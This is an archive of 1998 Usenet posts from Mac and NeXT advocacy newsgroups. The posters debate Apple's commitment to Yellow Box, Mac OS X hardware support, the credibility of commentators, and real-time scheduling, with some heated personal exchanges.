Frankly if you think that Apple dropping PC support isn't a big deal
then fine. Live in your rosey world and buy your G3 or G4. But
if you havn't listened there are a number of long time NeXT
developers/VARs
who are now probably the majority of YB developers/VARs that are
concerned about Apple's 'blowing with the wind' and 'covering all
bases w/o covering any' attitude. An individual user may blow
with the wind, but not a corporation. For corporations doing MCCA
work - they absolutely need to know that their investiment is secure.
And their investiment is much more than some paltry off the shelf
software.
It's people and code- and all the costs that go along with training, &
paying
them to learn how, and finally produce that code.
If YB went away - it absolutely devistates them. Will YB go away
the problem is no-one can say with certianty. Hell no-one
can say anything with certianty. But many people are fairly
certian Microsoft will be here for the next 5 years, or Linux,
can they say that about Apple. If Apple were to make a all
or nothing commitment to YB they'd have a lot more going
in that direction. But when they water it down with Carbon
(legacy man, legacy - I understand this move well - and it
was long over due), and Java, and spary on the fire extingusher
by telling everyone you have to buy G3 to have YB on Mach..
You get a real limp lukewarm reception.. What is clear is
Apple is hedging all its bets when it should be pushing
forward very strongly on all fronts..
Let people know YB is where they want them to be in 5-10 years.
Let them know Carbon is Apple listening to developers for
a transition period, along with a gained understanding of the
investiment they have in their existing codebases..
Let people know that you are confidant that G3 hardware
IS and WILL CONTINUE to be the best hardware to run
MacOS X on by supporting a PC version.
Spread the message to MCCA - that we made a mistake
saying we'd drop MacOS X on PC - and that we havn't
been clear about YB - and therefore the products that
rely on it (EOF, WO, Developer tools)
Tell everyone that Java is not YB - but that Java is
important - so much so that Apple believes it will
have the preimere Java Devleopment platform
in the coming months/years. And in fact have
THE preimere Java, YB, Windows development
platform.
Let everyone know that Apple is not going away,
and they are not afraid of the MS/Intel juggernaut.
Even a little virus can take down a human - can you
say YB for windows (now there's a little virus)..
These are things that in my mind Apple is failing miserably
at. It is all well and good to placate and recharge your existing
and shrinking community - but you must send such a strong
bolt to your customers where a huge potential for growth
is as to energize them - and the masses - not to just
"Think Different" but to "Act Different"
That is what Advocacy is all about IMHO.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 15 Jul 1998 17:03:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oindb$20i$2@lwnws01.ne.highway1.com>
References: <35abb9e5.0@d2o103.telia.com> <B1D14061-60C40@206.165.43.216> <6oh8fp$2mv$1@lwnws01.ne.highway1.com> <trev-1507981051380001@nas-p1.usc.net>
trev@sc.edu (Trevor Zion Bauknight) wrote:
> It's already being done...I don't know when these advances will
> make it into Apple's production system, but:
>
> http://almond.srv.cs.cmu.edu/afs/cs/project/art-6/www/rtmach.html
Thanks very much for the pointer. Well, seems that last buzzword is within
reach. It would make great sense to make this a standard part of OSX, so it
would just *be there* on a system wide basis from day one.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 16:59:41 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oin5t$20i$1@lwnws01.ne.highway1.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org> <35ACCF02.B825A5B9@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> mmalcolm crawford, where is this "caring NeXT community" you once told
> me about? I don't see any of that these days. Maybe it would be nice to
> turn back the clock two years...
Caring doesn't include by reference or requisite being dumb, uncritical, and
blind. How's that old song go? Sometimes you have to be cruel to be kind,
or some other such bubble gum philosophy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not Able to Do QuickTime Very Well?
Date: Wed, 15 Jul 1998 12:14:07 -0500
Organization: University of Arizona
Message-ID: <6oio1u$c0l$1@supernews.com>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <petrichEw44Br.3Cs@netcom.com> <slrn6qo3ji.217.jason@jhste1.dyn.ml.org>
Jason S. wrote in message ...
>I doubt it. Linux kernels have something like a 10 ms timeslice, which
>is adequate for 100 fps video, I'd think. Mach has finer granularity,
>IIRC.
Contrary to popular belief on Usenet, preemptive scheduling is not a
replacement for real-time scheduling. Preemption is a guarantee of
"fairness", while real-time systems need a guarantee of "responsiveness".
Know that Linux has 10 ms timeslices is not enough; a real-time system needs
to know how often it can get a 10 ms timeslice as well. Another way to say
this is that you need both the latency and the bandwidth to do real-time
well, and preemptive scheduling only specifies the bandwidth.
A reservation system (I need x cycles of a CPU within the next y ms
timeframe) tends to work quite well in these situations.
--
Nevin ":-)" Liber <mailto:nevin@CS.Arizona.EDU> (847) 816-9660
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 10:43:38 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1507981043380001@5-45.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org>
NNTP-Posting-Date: 15 Jul 1998 17:41:52 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6oif1k$h7g$5@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> > Norr's credibility comes not from the size of his audience, but from his
> > credentials.
>
> Argument from authority? Fallacy 101!
The class would be "Logic 101" I think... Though perhaps *you* might have
taken a class in how to commit fallacies. In this case I was not stating a
hypothesis, but mentioning a fact.
>
> > Wrong again. The bitter, shafted developer stuff came from your rantings
> > in general
>
> You characterize Scott's postings as "rantings"? Grow up.
Why is it that those who insist most fevrently that someone should "grow
up" sound the most childish?
> > not any specific statement. And the fact that your audience
> > has been around longer is totally irrelevant as well
>
> That's right, all of these arguments you have used to support your "point"
> that Norr's opinion is more accurate or valid than Scott's have been
> irrelevant indeed. In case you don't remember, this was YOUR point, that
> Norr's long history in reporting on Apple somehow makes him more reliable by
> fiat. You are wrong.
That is the best you can do? "You are wrong"? Boy, I am utterly convinced
by such a well-planned and robustly executed refutation of all of my posts
on this thread so far.
Thanks for reminding me what my point was, no one knows this better than
you, obviously.
Just out of curiosity, though I'm sure you won't have anything interesting
to say about it: what, in your opinion, would make a commentator a
reliable source, since you seem to feel that Mr Norrs past history as a
journalist, editor, and general pundit in the field for almost ten years
doesn't count?
> Yet Norr's it seems that everyone agrees that some of Norr's comments in
> the past were quite simply wrong.
Those who attempt to predict the future are often wrong, but journalism
has a short memory in that respect. About many, many things he has been
most definitely right. And being wrong once does not disqualify someone
for the entire future--luckily for you.
>However I've seen no one suggest that
> Scott has _ever_ been wrong. So from pure induction that would seem to imply
> that Scott's take on the issue is more reliable right there.
You haven't been reading this thread. You are hereby removed from the
thread, and forbidden from ever commenting on it again. You have been
found guilty of Premature Re-Jaculation: you blew your puny wad without
reading the thread from the beginning.
> You can characterize this as a pro-YB/anti-YB issue if you wish, however
> the reality is that this is a programmer/non-programmer issue and that alone.
> Had Henry talked to the same people that Scott did, rather than KB, he may
> be sharing Scott's opinion.
My point, which you of course missed the way a plane travelling at 30,000
feet misses a birdbath in my backyard, was that Scott's history as a
developer DISQUALIFIES him from commenting on the isse at hand (the
survival of Yellow Box) because it gives him a vested interest in the
issue, also called a BIAS. A BIAS that "Henry," as you so coyly name-drop
him, does not share, which makes him the more objective source of the two.
But you were just too busy foaming at the mouth to notice, no doubt.
Nice beating on you. Show up again some time when your ego needs restructuring.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 16:55:47 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6oimuj$nsq$1@news00.btx.dtag.de>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
<not@my.address.net> wrote:
> On 07/11/98, "Michelle L. Buck" wrote:
> >
> >there will never be
> >enough YellowBox installations to support high quality horizontal
> >applications.
>
> I don't see why. Any machine that runs Max OS X will host the yellow box
> runtime. And if the windows runtime is free, it can be distributed
> transparently with any horizontal app that ships.
Bingo! If you want to write apps for the Mac, would you chose an API
that runs on Wintel but not on a large number of Macs still in use, the
68ks?
Lars T.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 17:48:41 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6oiq1p$5js$1@news.spacelab.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
[ ... ]
>> In short, Mr. Norr's job has been to take in information
>> about Apple, analyze it, and report it. Scott, and
>> anyone else in an Apple-related business, has had to
>> take in information, analyze it, and *act* on it,
>> possibly risking considerable amounts of capital,
>> or risking the opportunity cost of a particular course
>> of action.
>
>Precisely. So it is *directly* in Scott's interest to cajole, browbeat,
>and insult those running away from Apple's complete dunderheadedness by
>saying "Yellow Box isn't dead! You idiots, stop running! Buy Apple
>hardware! Upgrade often!" because the more public confidence Apple
>retains, the safer his business is and the more protected his current
>skills are.
It's important to understand the difference between blind zealotry and honest
advocacy. The zealot promotes his preferred solution even in the face of
superior alternatives, and generally refuses to acknowledge the flaws
involved with his solution. An honest advocacate promotes their solution,
but is willing to acknowledge the flaws and to consider and recommend other
solutions if those are more appropriate.
Is Scott biased in favor of Apple's Enterprise technology (formerly NeXT's)?
Certainly. And so am I, because NEXTSTEP, Obj-C & the associated frameworks
are good technology that enables me to be far more productive in most
circumstances than the alternatives.
When I suggest to a client that WebObjects is a really good solution to
designing dynamic web sites (especially if a database is involved), I'm not
deceiving them. Sometimes other technologies, like a Java-based (EJB, JDBC,
et al) solution might be better, in which case I recommend and work with that
instead.
[ ... ]
>Scott isn't a reporter. Scott is a self-interested businessman who
>happens to run an advocacy Website and occasionally posts rude comments
>to USENET.
Stepwise contains advocacy (which is generally clearly labelled either as
"editorials" or as "press releases"), but it also contains a great deal of
factual examples, references, pointers, and other useful information. In
particular, it includes descriptions of problems, inconsistencies, and bugs
that one might encounter working with WebObjects or YellowBox/OpenStep.
I've never seen Scott Anguish be rude to anyone, on Usenet or off, without
direct and obvious provocation. Hey, Mike-- why _are_ you here? Do you have
anything worthwhile to contribute, or do you simply get your kicks from
bashing NeXT's technology and people who use it productively?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 10:59:35 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1507981059360001@5-45.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6ohi7c$ooa$1@news.digifix.com>
NNTP-Posting-Date: 15 Jul 1998 17:57:47 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6ohi7c$ooa$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> And you're attacking my credibility because I disagree with
> Norr. He's not 'disagreeing with me'. People are acting on his 'wild
> speculation' as if it is fact, which it is not.
I haven't seen anyone claim his comments about the future of Yellow Box as
fact, though he does not seem to be wildy speculating in comparison to
other comments I have heard from various sources. Again, that isn't the
point here.
And I have not attacked your credibility per se; I've attacked your status
as a source of professed objectivity on the subject at hand, and whether
you can be considered a source of information in critiqueing Mr. Norr's
opinion.
> If you read Norr's comments, he says that it is WILD
> SPECULATION. His conclusion makes no sense.
It makes sense to me. And having done journalistic writing and software
reveiws for a while, I happen to know that journalists and pundits in
general like to use "wild speculation" as a shield to hide behind while
stating something that they believe is fact. That may or may not be the
case here; only Norr can tell us.
> As far as credentials go, I think that the people in this
> group that are aware of the last 13 odd years of development that I've
> done, both in the Mac and the NeXT communities are aware of my
> credentials, and I don't really have any concern that you don't.
...which is of course why you are posting replies to my posts.
> You're attacked my credibility, but have demonstrated no
> credibility yourself.
Ah, but I don't have to! That's the lovely thing about debate: no one ever
asks the man in the audience who asks the penentrating questions for some
credentials.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 13:16:31 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ACF1FF.60CCFA4E@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net>
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Charles W. Swiger wrote:
I didn't cut much below because the context is important.
> It's important to understand the difference between blind zealotry and honest
> advocacy. The zealot promotes his preferred solution even in the face of
> superior alternatives, and generally refuses to acknowledge the flaws
> involved with his solution. An honest advocacate promotes their solution,
> but is willing to acknowledge the flaws and to consider and recommend other
> solutions if those are more appropriate.
That's true.
> Is Scott biased in favor of Apple's Enterprise technology (formerly NeXT's)?
> Certainly. And so am I, because NEXTSTEP, Obj-C & the associated frameworks
> are good technology that enables me to be far more productive in most
> circumstances than the alternatives.
I think that's perfectly acceptable. I expect nothing else; to act
otherwise would be unreasonable.
> When I suggest to a client that WebObjects is a really good solution to
> designing dynamic web sites (especially if a database is involved), I'm not
> deceiving them. Sometimes other technologies, like a Java-based (EJB, JDBC,
> et al) solution might be better, in which case I recommend and work with that
> instead.
Absolutely.
But Chuck, I have to point out that this is not about advocating one
thing or another. Everybody here wants Yellow Box. The issue is that
Henry Norr expressed doubt that Yellow Box was still important to
Apple's strategy. As an advocate not only for Yellow Box but also for
the associated industry and income that would follow Yellow Box success,
Scott is not in a position to disparage Norr. The point is that Scott is
not just an advocate for Yellow Box, he's also an advocate for himself,
and he cannot separate the two in this discussion.
I want to make clear that this is not about Yellow Box advocacy, Chuck.
It's about self-advocacy. Don't get me wrong, it's fine to toot one's
own horn whenever one likes. But when you couple your
self-aggrandizement to unjustified criticism of someone in a less
compromised position...it just needs an apology.
> Stepwise contains advocacy (which is generally clearly labelled either as
> "editorials" or as "press releases"), but it also contains a great deal of
> factual examples, references, pointers, and other useful information. In
> particular, it includes descriptions of problems, inconsistencies, and bugs
> that one might encounter working with WebObjects or YellowBox/OpenStep.
I know that, and I think it's great.
> I've never seen Scott Anguish be rude to anyone, on Usenet or off, without
> direct and obvious provocation. Hey, Mike-- why _are_ you here? Do you have
> anything worthwhile to contribute, or do you simply get your kicks from
> bashing NeXT's technology and people who use it productively?
Why do I get asked this question? Why do you people care? Am I
threatening? Am I troublesome? Am I spam? Or are my opinions just
unwelcome?
Treat me like a pariah if you like, Chuck, it wouldn't be the first
time, would it? I'd think that you, of all people, would feel partly
responsible for my current relationship with this newsgroup. After all,
this isn't our first discussion, is it?
MJP
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 15 Jul 1998 18:00:53 GMT
Organization: Cygnus Solutions
Message-ID: <6oiqol$odh$1@cronkite.cygnus.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
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<6o5ph5$s4k$1@cronkite.cygnus.com> <SCOTT.98Jul13153549@slave.doubleu.com>
<SCOTT.98Jul14141739@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98Jul14141739@slave.doubleu.com> Scott Hess wrote:
> Actually, I was just wondering....
>
> The NeXT faithful are pretty faithful, some of them. I wonder how
> much money you could bring in if you set up a "NeXT Club", and charged
> $100/year for membership. Dues would pay to employ psuedo-volunteers
> to code on GnuStep+Linux. [I say "psuedo-volunteers" because I'm
> assuming a low pay scale, relative to industry.] Membership would get
> you, say, access to source code, or perhaps access to new releases
> earlier than the regular joe.
>
I'll pay. With one condition: Gnustep+hurd has to be supported too :-)
(sorry, I just really like microkernels)
I'd even be willing to do what I can to be part of those
"pseudo-volunteers".. though I'm more of a sysadmin and idea-man than
developer.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 18:24:48 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ois5g$sdj@newsb.netnews.att.com>
References: <6odhav$6iu$1@server.signat.org> <35ABD8E4.7E40F57F@ericsson.com> <6oifg8$h7g$6@server.signat.org> <35ACD2FC.F8276635@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>Incredible. Somehow, Norr's honest criticism described as "anti-YB" is
>equivalent to Scott Anguish's unconfirmed and, for all I know, wildly
>speculatory "assurances" that YB is continuing, despite impartial
>evidence from the outside to the contrary. It's not like it hasn't
>already been pointed out that Norr has a journalist's perspective and
>Anguish has an inside businessman's perspective. See if you can make
>them fit as equivalents.
Reasoning from evidence leads to correct conclusions only by accident :-)
Indulging in that error-prone activity, since Apple's press release
says that it has 3000 customers and growing for WebObjects, and that
WebObjects 4.0 is in the pipeline, for release later this year and will
run on PowerPC in addition to the platforms it runs on now; and since
everyone says that WebObjects is based on Yellow Box technology,
I think YB is continuing.
-arun gupta
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 11:27:47 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1507981127480001@sf-usr1-30-158.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <1dc6b2u.6virir1luxgkvN@rhrz-isdn3-p26.rhrz.uni-bonn.de>
In article <1dc6b2u.6virir1luxgkvN@rhrz-isdn3-p26.rhrz.uni-bonn.de>,
theisen@akaMail.com (Dirk Theisen) wrote:
> George Graves <gmgraves@slip.net> wrote:
> > Contrast this with Microsoft. Bill Gates has a STABLE group
> > of inner circle advisers (Steve Ballmer, Jeff Harbers, Jeff Raikes
> > etc.) who he trusts to help him to make all of the decisions. BUT
> > quite unlike at Apple where no one is driving the bus, GATES does
> > make all of the decisions! Some decisions might be wrong (Bob?),
> > but they stay the course.
>
> To drive this point home, they have a long breath in making people
> swallow what they produce.
>
> Almost every product or technology that comes from Redmond is badly
> designed, badly implemented, ugly and immature in version 1.0.
> They sell some of it and fix some of the defects in the first
> (commercial) upgrade. Some more people buy it now and version 3 is a
> real success. Look at Windows itself. Do did know about 1.0?
Sure. Don't get me wrong, I'm not praising MS' products, I'm merely
pointing out that they have better leadership than Apple and manage
to follow through with product development in a more consistent
manner.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 11:45:45 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
In article <6oggrh$ed9$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 07/14/98, George Graves wrote:
> >In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com
> (Scott
> >Anguish) wrote:
> >
> >>
> >> Apple isn't going to be selling off the Enterprise stuff.
> >>
> >> YB isn't going to be sold off, and it isn't dead. Not by a
> >> long shot.
> >>
> >> Geez, why do you people listen to Henry Norr?
> >
> >Scott. there's an old saying that bears restating here:
> >
> >"History repeats itself."
> >
> >One doesn't have to listen to Henry Norr to see what's happening
> >to Yellow box, we've seen it countless times with other promising
> >but stillborn Apple technologies. The list is almost endless. Apple
> >touts some technology as the 'next big thing', then changes direction
> >and guess what? That next big thing gets left in the lurch. Jaguar,
> >Taligent, Pink, Copland, OpenDoc, QDGX, Newton, etc., etc., etc.
>
> And when were all those killed? With the exception of the
> Newton pre-Jobs takeover.
'When' is not the point. The point is that Apple's past inability to stay
the course with their OS and technology plans has left them with ZERO
credibility in the development community. How would you like to be
one of the companys founded to write OpenDoc apps or Newton apps, or
for that matter Rhapsody apps? Pull this crap enough and no one will
write apps which will take advantage of ANY of your new technology.
This is here Apple is. Almost nobody signed up to port their apps to
Yellow Box, that's why Apple had to change the whole thing to the
"Carbon" scheme. They reduced the task to the simplest of changes
because they found that that's all of the consideration that the
developer community would give them. Heck, if I were a developer, I'd
wait through OS-X, X.1, and X.5 before I committed a moment's
resource to changing my apps to comply. Make sure that Apple is going
to stay the course before ending up as another OpenDoc developer.
>
> >Remember "....Its called 'Carbon' and ALL lifeforms eminate from it."
>
> A catchy slogan that shouldn't be taken as gospel.
Oh? You know this for fact? Your crystal ball is better than mine, then.
Mine gets cloudy every time I ask it to show me Apple's software
future.
>
> >Apple has two fundamental problems that they've never changed:
> >
> >1) A revolving door of upper management whose 'dwell time' is
> >so short, that no projects ever get completed before the next
> >"team" comes in and reorganizes the company, changing
> >everything.
> >
>
>When was the last time someone in upper management left?
Seems to me that somebody important left fairly recently, but
I forget just who it was. Maybe someone else can help out here.
>
> >2) A management by consensus style in which people who have
> >no business even offering input to certain decision making
> >processes can kill the entire proceeding by just saying no.
> >
>
> If you don't think that Steve is in control, then you're sadly
> mistaken.
That's right take comments out of context in order to be contentious.
Later, in my post, I said that Jobs HAS taken a dictatorial stance at
Apple, so I agree that he's firmly in charge NOW. But he's acting CEO,
and when he leaves (as he must) the old Apple culture will reappear
(as it always has).
George Graves
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 13:36:28 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6oib8s$bf4$1@camel15.mindspring.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oi4b9$gtr@btmpjg.god.bel.alcatel.be> <6oi5rc$37k$2@leonie.object-factory.com> <6oi9n8$5b8@nntp02.primenet.com>
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In article <6oi465$5q5$1@nnrp1.dejanews.com> , quinlan@intergate.bc.ca
writes:
>The reason that 80+% of the development market is dominated by Visual C++ is
>because NeXT had the same attitude that you do.
What attitude?
Michelle comes in here, ranting and raving about Apple, declaring YB
dead, and basically calling Scott and Gregory and the other YB developers
idiots for writing YB code. She proceeds to call Apple dead in the
enterprise. Last time I checked, Apple was adding a lot of high-profile
WebObjects customers. Apple is also getting a lot of attention from Wall
Street, positive attention, for the first time in a long time. And
Michelle is certainly doing nobody who works this market any favors at
all telling them they are idiots, telling us she is urging her clients to
drop YB technologies as quickly as possible, and in other ways basically
dumping on the future of YB.
I tell her, go use something else, have fun, sayonara.
Where do I show an attitude problem?
Matthew Cromer
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 18:43:45 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6oit91$fc6@shelob.afs.com>
References: <35ACF1FF.60CCFA4E@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> Charles W. Swiger wrote:
> > Hey, Mike-- why _are_ you here? Do you have anything worthwhile
> > to contribute, or do you simply get your kicks from bashing NeXT's
> > technology and people who use it productively?
>
> Why do I get asked this question? Why do you people care?
Speaking generally, people ask questions like this because the
*intentions* of a conversational partner -- especially one who tends
to speak critically on a frequent basis -- help decide whether it
is worth continuing a conversation or simply moving on. In a "real"
conversation, there are numerous unspoken cues as to whether such a
person is speaking from a position of honest-yet-curious-skepticism
vs. belligerence-for-its-own-sake, even when the words are the same.
In virtual conversation, you almost have to ask whether you are
interpreting another person's intentions correctly, especially when
their primary conversational mode is argumentative.
Now speaking particularly, I submit that phrases like "you people"
bend to the latter camp. I have observed you throw around enough
things that read like obvious "bait" to stop responding. I'm sure you
don't consider that a great loss, because plenty of people are more
than willing to take up the slack and provide you ongoing entertainment.
But it's one of the reasons that the reasonable old-timers you've been
looking for have abandoned the group. I used to post to this group
constantly, and people tell me that I was considered one of its more
reasonable voices. But even I finally gave up under the sheer weight
of argument-for-its-own-sake between people who had obviously stopped
listening to each other (or never even started).
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 12:00:56 -0700
Organization: Graves Associates
